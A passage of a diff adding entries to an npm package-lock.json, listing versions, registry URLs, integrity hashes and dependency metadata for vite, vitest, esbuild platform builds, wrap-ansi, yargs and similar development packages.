"@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/vite-node/node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/vitest": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-2.1.9.tgz", + "integrity": "sha512-MSmPM9REYqDGBI8439mA4mWhV5sKmDlBKWIYbA3lRb2PTHACE0mgKwA8yQ2xq9vxDTuk4iPrECBAEW2aoFXY0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "2.1.9", + "@vitest/mocker": "2.1.9", + "@vitest/pretty-format": "^2.1.9", + "@vitest/runner": "2.1.9", + "@vitest/snapshot": "2.1.9", + "@vitest/spy": "2.1.9", + "@vitest/utils": "2.1.9", + "chai": "^5.1.2", + "debug": "^4.3.7", + "expect-type": "^1.1.0", + "magic-string": "^0.30.12", + "pathe": "^1.1.2", + "std-env": "^3.8.0", + "tinybench": "^2.9.0", + "tinyexec": "^0.3.1", + "tinypool": "^1.0.1", + "tinyrainbow": "^1.2.0", + "vite": "^5.0.0", + "vite-node": "2.1.9", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@types/node": "^18.0.0 || >=20.0.0", + "@vitest/browser": "2.1.9", + "@vitest/ui": "2.1.9", + "happy-dom": "*", + "jsdom": "*" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + } + } + }, + "node_modules/vitest/node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vitest/node_modules/@vitest/mocker": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-2.1.9.tgz", + "integrity": "sha512-tVL6uJgoUdi6icpxmdrn5YNo3g3Dxv+IHJBr0GXHaEdTcw3F+cPKnsXFhli6nO+f/6SDKPHEK1UN+k+TQv0Ehg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "2.1.9", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.12" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^5.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/vitest/node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/vitest/node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/w3c-xmlserializer": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", + "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation", + "dev": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-mimetype": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-url": { + "version": "14.2.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", + "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tr46": "^5.1.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ws": { + "version": "8.21.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", + "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true, + "license": "MIT" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + 